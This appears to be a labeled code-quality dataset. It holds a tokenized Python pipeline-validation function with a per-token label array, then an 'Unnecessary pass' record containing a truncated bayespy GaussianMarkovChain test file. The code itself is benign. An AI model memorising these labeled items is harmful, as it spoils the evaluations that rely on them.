"Argument_", ",_", "short", "Form", "Argument_", ",_", "description_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "is", " ", "not", " ", "a", " ", "top", " ", "level", " ", "argu", "ment", ",", " ", "provide", " ", "a", " ", "different", " ", "error", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", "CHECK", " ", "THIS", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "short", " ", "form", " ", "version", " ", "of", " ", "the", " ", "argu", "ment", " ", "as", " ", "well", " ", "as", " ", "the", " ", "argu", "ment", " ", "description", ".", " ", "Thi", "s", " ", "is", " ", "as", " ", "defined_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "the", " ", "tool", ",", " ", "so", " ", "if", " ", "this", " ", "argu", "ment", " ", "can", " ", "be", " ", "set", " ", "usi", "ng", " ", "a", " ", "pipeline", " ", "argu", "ment", ",", " ", "these", " ", "values", " ", "are", " ", "incorrect", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "short", "Form", "Argument_", "=_", "graph_", "._", "get", "Arg", "ument", "Attribute_", "(_", "node", "Id_", ",_", "task_", ",_", "'", "short", "Form", "Arg", "ument", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "graph_", "._", "get", "Arg", "ument", "Attribute_", "(_", "node", "Id_", ",_", "task_", ",_", "'", "description", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Terminate", "_", ":_", "errors_", "._", "unse", "t", "Requ", "ired", "Nest", "ed", "Argument_", "(_", "task_", ",_", "argument_", ",_", "short", "Form", "Argument_", ",_", "description_", ",_", "super", "pipeline_", "._", "pipeline_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "there", " ", "is", " ", "no", " ", "node", " ", "for", " ", "this", " ", "argu", "ment", ",", " ", "this", " ", "means", " ", "tha", "t", " ", "the", " ", "pipeline", " ", "configura", "tion", " ", "file", " ", "doe", "s", " ", "not", " ", "contain", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "unique", " ", "or", " ", "shared", " ", "node", " ", "for", " ", "this", " ", "argu", "ment", ".", " ", "In", " ", "addition", ",", " ", "the", " ", "value", " ", "has", " ", "not", " ", "bee", "n", " ", "provided", " ", "on", " ", "the", " ", "command_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "line", ".", " ", "Thi", "s", " ", "means", " ", "tha", "t", " ", "no", " ", "values", " ", "will", " ", "get", " ", "assign", "ed", " ", "to", " ", "this", " ", "argu", "ment", ",", " ", "so", " ", "terminate", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "found", "Node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instructions_", "=_", "tool", "Data_", "._", "get", "Arg", "ument", "Attribute_", "(_", "argument_", ",_", "'", "constructi", "on", "Instructions", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "instructions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "Success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "argu", "ment", "s", " ", "wer", "e", " ", "import", "ed", " ", "for", " ", "this", " ", "task", ".", " ", "If", " ", "so", ",", " ", "check", " ", "to", " ", "see", " ", "if", " ", "this", " ", "argu", "ment", " ", "is", " ", "there", "fore", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "avail", "able", " ", "on", " ", "the", " ", "command", " ", "line", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "task_", "==_", "super", "pipeline_", "._", "pipeline", "Configura", "tion", "Data_", "[_", "super", "pipeline_", "._", "pipeline_", "]_", "._", "import", "Arg", "ument", "s", "Fro", "m", "Tool_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "is", "Terminate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "errors_", "._", "unse", "t", "Requ", "ired", "Argument_", "(_", "argument_", ",_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "short", "Form", "Argument_", ",_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "description_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "is", "Terminate", "_", ":_", "errors_", "._", "no", "Inp", "ut", "Node_", "(_", "task_", ",_", "tool_", ",_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "there", " ", "are", " ", "instruct", "ion", "s", ",", " ", "but", " ", "no", " ", "node", ",", " ", "construct", " ", "the", " ", "node", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "instructions_", "[_", "'", "method", "'_", "]_", "==_", "'", "from", " ", "tool", " ", "argu", "ment", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "argu", "ment", "To", "Use_", "=_", "instructions_", "[_", "'", "use", " ", "argu", "ment", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fin", "d", " ", "all", " ", "nodes", " ", "for", " ", "this", " ", "task", " ", "usi", "ng", " ", "this", " ", "argu", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "predecessor", "Node", "Id_", "in_", "graph_", "._", "graph_", "._", "predecessor", "s_", "(_", "task_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "graph_", "._", "get", "Arg", "ument", "Attribute_", "(_", "predecessor", "Node", "Id_", ",_", "task_", ",_", "'", "long", "Form", "Arg", "ument", "'_", ")_", "==_", "argu", "ment", "To", "Use_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "node", "Address_", "=_", "str_", "(_", "predecessor", "Node", "Id_", "+_", "'.'_", "+_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "the", " ", "node", " ", "and", " ", "edge", "._", "\\u\\u\\uNL\\u\\u\\u_", "argu", "ment", "Attributes_", "=_", "tool", "Data_", "._", "get", "Arg", "ument", "Data_", "(_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "add", "File", "Node_", "(_", "node", "Address_", ",_", "node", "Address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "add", "Edge_", "(_", "node", "Address_", ",_", "task_", ",_", "argu", "ment", "Attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Attach", " ", "the", " ", "name", " ", "of", " ", "the", " ", "node", " ", "from", " ", "whi", "ch", " ", "this", " ", "filename", " ", "is", " ", "construct", "ed", " ", "to", " ", "the", " ", "node", "._", "\\u\\u\\uNL\\u\\u\\u_", "graph_", "._", "set", "Graph", "Node", "Attribute_", "(_", "node", "Address_", ",_", "'", "construct", "Us", "ing", "Node", "'_", ",_", "predecessor", "Node", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "there", " ", "are", " ", "instruct", "ion", "s", ",", " ", "but", " ", "the", " ", "constructi", "on", " ", "method", " ", "doe", "s", " ", "not", " ", "use", " ", "anot", "her", " ", "argu", "ment", ",", " ", "create", " ", "a", " ", "node", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "Address_", "=_", "str_", "(_", "task_", "+_", "'.'_", "+_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "the", " ", "node", " ", "and", " ", "edge", "._", "\\u\\u\\uNL\\u\\u\\u_", "argu", "ment", "Attributes_", "=_", "tool", "Data_", "._", "get", "Arg", "ument", "Data_", "(_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "add", "File", "Node_", "(_", "node", "Address_", ",_", "node", "Address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "add", "Edge_", "(_", "node", "Address_", ",_", "task_", ",_", "argu", "ment", "Attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "consider", " ", "output", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instructions_", "=_", "tool", "Data_", "._", "get", "Arg", "ument", "Attribute_", "(_", "argument_", ",_", "'", "constructi", "on", "Instructions", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "over", " ", "all", " ", "output", " ", "nodes", " ", "look", "ing", " ", "for", " ", "edge", "s", " ", "tha", "t", " ", "use", " ", "this", " ", "argu", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "node", "Id_", "in_", "graph_", "._", "CM", "\\u", "get", "Output", "Nodes_", "(_", "graph_", "._", "graph_", ",_", "task_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "edge", "Argument_", "=_", "graph_", "._", "get", "Arg", "ument", "Attribute_", "(_", "task_", ",_", "node", "Id_", ",_", "'", "long", "Form", "Arg", "ument", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "node", " ", "use", "s", " ", "the", " ", "require", "d", " ", "argu", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "edge", "Argument_", "==_", "argument_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found", "Node_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "constructi", "on", " ", "instruct", "ion", "s", " ", "are", " ", "provided", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "instructions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "constructi", "on", " ", "is", " ", "to", " ", "proceed", " ", "by", " ", "usi", "ng", " ", "an", " ", "argu", "ment", " ", "from", " ", "this", " ", "task", ",", " ", "ensure", " ", "tha", "t", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "argu", "ment", " ", "is", " ", "eit", "her", " ", "set", ",", " ", "or", " ", "is", " ", "ite", "lf", " ", "a", " ", "successor", " ", "to", " ", "anot", "her", " ", "task", " ", "and", " ", "so", " ", "has", " ", "the", " ", "chance_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "bei", "ng", " ", "set", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "instructions_", "[_", "'", "method", "'_", "]_", "==_", "'", "from", " ", "tool", " ", "argu", "ment", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "long", "Form", "Argument_", "=_", "tool", "Data_", "._", "get", "Long", "Form", "Argument_", "(_", "instructions_", "[_", "'", "use", " ", "argu", "ment", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "found", "Node_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "predecessor", "Node", "Id_", "in_", "graph_", "._", "graph_", "._", "predecessor", "s_", "(_", "task_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "edge", "Argument_", "=_", "graph_", "._", "get", "Arg", "ument", "Attribute_", "(_", "predecessor", "Node", "Id_", ",_", "task_", ",_", "'", "long", "Form", "Arg", "ument", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "edge", "Argument_", "==_", "long", "Form", "Argument_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "found", "Node_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constructi", "on", "Node", "Id_", "=_", "predecessor", "Node", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "node", " ", "bei", "ng", " ", "used", " ", "to", " ", "construct", " ", "the", " ", "file", " ", "doe", "s", " ", "not", " ", "exist", ",", " ", "then", " ", "it", " ", "cann", "ot", " ", "be", " ", "used", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "construct", " ", "the", " ", "filename", " ", "and", " ", "so", " ", "some", " ", "data", " ", "must", " ", "be", " ", "missi", "ng", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "found", "Node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "is", "Success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Terminate", "_", ":_", "errors_", "._", "no", "Node", "For", "Construct", "ion_", "(_", "task_", ",_", "tool_", ",_", "argument_", ",_", "long", "Form", "Argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "node", " ", "used", " ", "to", " ", "construct", " ", "this", " ", "filename", " ", "exist", "s", ",", " ", "but", " ", "it", " ", "has", " ", "no", " ", "values", " ", "or", " ", "predecessor", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "it", " ", "als", "o", " ", "will", " ", "not", " ", "be", " ", "able", " ", "to", " ", "be", " ", "used", " ", "to", " ", "construct", " ", "the", " ", "argu", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "eli", "f", " ", "not", " ", "graph", ".", "get", "Graph", "Node", "Attribute", "(", "constructi", "on", "Node", "Id", ",", " ", "'", "values", "')", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "not", " ", "graph", ".", "graph", ".", "predecessor", "s", "(", "constructi", "on", "Node", "Id", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", "ERROR_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", "('", "data", "Cons", "iste", "nc", "y", " ", "-", " ", "check", "Requ", "ired", "Arg", "ument", "s", " ", "-", " ", "cann", "ot", " ", "construct", " ", "output", "',", " ", "task", ",", " ", "argu", "ment", ");", " ", "exit", "(", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "the", " ", "node", " ", "to", " ", "the", " ", "list", " ", "of", " ", "nodes", " ", "tha", "t", " ", "have", " ", "the", " ", "potenti", "al", " ", "to", " ", "be", " ", "construct", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "node", "Id_", "not_", "in_", "construct", "able", "Nodes_", ":_", "construct", "able", "Nodes_", "._", "append_", "(_", "node", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "no", " ", "instruct", "ion", "s", " ", "are", " ", "provided", " ", "check", " ", "tha", "t", " ", "there", " ", "are", " ", "values", " ", "supplie", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "instructions_", "and_", "not_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "values", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "Success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Terminate", "_", ":_", "errors_", "._", "no", "Construct", "ion", "Method_", "(_", "task_", ",_", "tool_", ",_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "no", " ", "node", " ", "exist", "s", " ", "for", " ", "this", " ", "argu", "ment", ",", " ", "dete", "rmin", "e", " ", "the", " ", "course", " ", "of", " ", "action", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "found", "Node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "there", " ", "are", " ", "no", " ", "instruct", "ion", "s", " ", "for", " ", "constructi", "ng", " ", "the", " ", "filename", ",", " ", "terminate", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "instructions_", ":_", "print_", "(_", "'", "data", "Cons", "iste", "nc", "y", ".", "check", "Requ", "ired", "Arg", "ument", "s", " ", "-", " ", "no", " ", "output", " ", "node", "'_", ",_", "task_", ",_", "argument_", ")_", ";_", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "there", " ", "are", " ", "instruct", "ion", "s", ",", " ", "but", " ", "no", " ", "node", ",", " ", "construct", " ", "the", " ", "node", "._", "\\u\\u\\uNL\\u\\u\\u_", "node", "Address_", "=_", "str_", "(_", "task_", "+_", "'.'_", "+_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "argu", "ment", "Attributes_", "=_", "tool", "Data_", "._", "get", "Arg", "ument", "Data_", "(_", "argument_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Det", "erm", "ine", " ", "if", " ", "this", " ", "node", " ", "is", " ", "a", " ", "stub", ".", " ", "If", " ", "so", ",", " ", "this", " ", "is", " ", "an", " ", "output", " ", "tha", "t", " ", "is", " ", "not", " ", "shared", " ", "with", " ", "any", " ", "other", " ", "task", "s", ",", " ", "so_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "construct", " ", "as", " ", "many", " ", "nodes", " ", "as", " ", "require", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "argu", "ment", "Attributes_", "._", "is", "Stub_", ":_", "#", "graph", ".", "construct", "Output", "Stu", "bs", "()", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", ",_", "stub", "Extension_", "in_", "enumerate_", "(_", "argu", "ment", "Attributes_", "._", "stub", "Extensions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "modifi", "ed", "Node", "Address_", "=_", "str_", "(_", "node", "Address_", "+_", "'.'_", "+_", "stub", "Extension_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stub", "Attributes_", "=_", "deepcopy_", "(_", "argu", "ment", "Attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stub", "Attributes_", "._", "stub", "Extension_", "=_", "stub", "Extension_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stub", "Attributes_", "._", "is", "Prim", "ary", "Stu", "b", "Node_", "=_", "True_", "if_", "i_", "==_", "0_", "else_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "add", "File", "Node_", "(_", "modifi", "ed", "Node", "Address_", ",_", "modifi", "ed", "Node", "Address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "add", "Edge_", "(_", "task_", ",_", "modifi", "ed", "Node", "Address_", ",_", "stub", "Attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "is", " ", "not", " ", "a", " ", "stub", ",", " ", "add", " ", "the", " ", "node", " ", "and", " ", "edge", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "graph_", "._", "add", "File", "Node_", "(_", "node", "Address_", ",_", "node", "Address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph_", "._", "add", "Edge_", "(_", "task_", ",_", "node", "Address_", ",_", "argu", "ment", "Attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Return", " ", "if", " ", "the", " ", "operati", "on", " ", "was", " ", "a", " ", "success", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "is", "Success_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unnecessary pass
bayespy/bayespy/bayespy/inference/vmp/nodes/tests/test_gaussian_markov_chain.py
[ { "content": " def test_message_to_child(self):\n \"\"\"\n Test the updating of GaussianMarkovChain.\n\n Check that the moments and the lower bound contribution are computed\n correctly.\n \"\"\"\n\n # TODO: Add plates and missing values!\n\n # Dimensionalities\n D = 3\n N = 5\n (Y, X, Mu, Lambda, A, V) = self.create_model(N, D)\n\n # Inference with arbitrary observations\n y = np.random.randn(N,D)\n Y.observe(y)\n X.update()\n (x_vb, xnxn_vb, xpxn_vb) = X.get_moments()\n\n # Get parameter moments\n (mu0, mumu0) = Mu.get_moments()\n (icov0, logdet0) = Lambda.get_moments()\n (a, aa) = A.get_moments()\n (icov_x, logdetx) = V.get_moments()\n icov_x = np.diag(icov_x)\n # Prior precision\n Z = np.einsum('...kij,...kk->...ij', aa, icov_x)\n U_diag = [icov0+Z] + (N-2)*[icov_x+Z] + [icov_x]\n U_super = (N-1) * [-np.dot(a.T, icov_x)]\n U = misc.block_banded(U_diag, U_super)\n # Prior mean\n mu_prior = np.zeros(D*N)\n mu_prior[:D] = np.dot(icov0,mu0)\n # Data \n Cov = np.linalg.inv(U + np.identity(D*N))\n mu = np.dot(Cov, mu_prior + y.flatten())\n # Moments\n xx = mu[:,np.newaxis]*mu[np.newaxis,:] + Cov\n mu = np.reshape(mu, (N,D))\n xx = np.reshape(xx, (N,D,N,D))\n\n # Check results\n self.assertAllClose(x_vb, mu,\n msg=\"Incorrect mean\")\n for n in range(N):\n self.assertAllClose(xnxn_vb[n,:,:], xx[n,:,n,:],\n msg=\"Incorrect second moment\")\n for n in range(N-1):\n self.assertAllClose(xpxn_vb[n,:,:], xx[n,:,n+1,:],\n msg=\"Incorrect lagged second moment\")\n\n\n # Compute the entropy H(X)\n ldet = linalg.logdet_cov(Cov)\n H = random.gaussian_entropy(-ldet, N*D)\n # Compute <log p(X|...)>\n xx = np.reshape(xx, (N*D, N*D))\n mu = np.reshape(mu, (N*D,))\n ldet = -logdet0 - np.sum(np.ones((N-1,D))*logdetx)\n P = random.gaussian_logpdf(np.einsum('...ij,...ij', \n xx, \n U),\n np.einsum('...i,...i', \n mu, \n mu_prior),\n np.einsum('...ij,...ij', \n mumu0,\n icov0),\n -ldet,\n N*D)\n \n # The VB bound from the net\n l = X.lower_bound_contribution()\n\n self.assertAllClose(l, H+P)\n \n\n # Compute the true bound <log p(X|...)> + H(X)\n\n\n #\n # Simple tests\n #\n\n def check(N, D, plates=None, mu=None, Lambda=None, A=None, V=None):\n if mu is None:\n mu = np.random.randn(D)\n if Lambda is None:\n Lambda = random.covariance(D)\n if A is None:\n A = np.random.randn(D,D)\n if V is None:\n V = np.random.rand(D)\n X = GaussianMarkovChain(mu,\n Lambda,\n A,\n V,\n plates=plates,\n n=N)\n (u0, u1, u2) = X._message_to_child()\n (mu, mumu) = Gaussian._ensure_moments(mu, GaussianMoments, ndim=1).get_moments()\n (Lambda, _) = Wishart._ensure_moments(Lambda, WishartMoments, ndim=1).get_moments()\n (a, aa) = Gaussian._ensure_moments(A, GaussianMoments, ndim=1).get_moments()\n a = a * np.ones((N-1,D,D)) # explicit broadcasting for simplicity\n aa = aa * np.ones((N-1,D,D,D)) # explicit broadcasting for simplicity\n (v, _) = Gamma._ensure_moments(V, GammaMoments).get_moments()\n v = v * np.ones((N-1,D))\n plates_C = X.plates\n plates_mu = X.plates\n C = np.zeros(plates_C + (N,D,N,D))\n plates_mu = np.shape(mu)[:-1]\n m = np.zeros(plates_mu + (N,D))\n m[...,0,:] = np.einsum('...ij,...j->...i', Lambda, mu)\n C[...,0,:,0,:] = Lambda + np.einsum('...dij,...d->...ij',\n aa[...,0,:,:,:],\n v[...,0,:])\n for n in range(1,N-1):\n C[...,n,:,n,:] = (np.einsum('...dij,...d->...ij',\n aa[...,n,:,:,:],\n v[...,n,:])\n + v[...,n,:,None] * np.identity(D))\n for n in range(N-1):\n C[...,n,:,n+1,:] = -np.einsum('...di,...d->...id',\n a[...,n,:,:],\n v[...,n,:])\n C[...,n+1,:,n,:] = -np.einsum('...di,...d->...di',\n a[...,n,:,:],\n v[...,n,:])\n C[...,-1,:,-1,:] = v[...,-1,:,None]*np.identity(D)\n C = np.reshape(C, plates_C+(N*D,N*D))\n Cov = np.linalg.inv(C)\n Cov = np.reshape(Cov, plates_C+(N,D,N,D))\n m0 = np.einsum('...minj,...nj->...mi', Cov, m)\n m1 = np.zeros(plates_C+(N,D,D))\n m2 = np.zeros(plates_C+(N-1,D,D))\n for n in range(N):\n m1[...,n,:,:] = Cov[...,n,:,n,:] + np.einsum('...i,...j->...ij',\n m0[...,n,:],\n m0[...,n,:])\n for n in range(N-1):\n 